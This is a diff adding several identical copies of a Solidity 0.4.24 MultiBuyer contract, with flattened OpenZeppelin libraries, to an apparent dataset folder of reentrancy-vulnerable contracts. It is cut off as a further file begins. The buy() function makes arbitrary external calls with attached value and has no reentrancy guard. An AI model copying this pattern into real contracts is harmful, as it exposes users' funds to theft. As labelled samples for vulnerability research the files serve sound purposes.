0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32710.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32715.sol b/smart_contract_dataset/reentrancy vulnerability/32715.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32715.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/332.sol b/smart_contract_dataset/reentrancy vulnerability/332.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/332.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/336.sol b/smart_contract_dataset/reentrancy vulnerability/336.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/336.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/420.sol b/smart_contract_dataset/reentrancy vulnerability/420.sol new file mode 100644 index 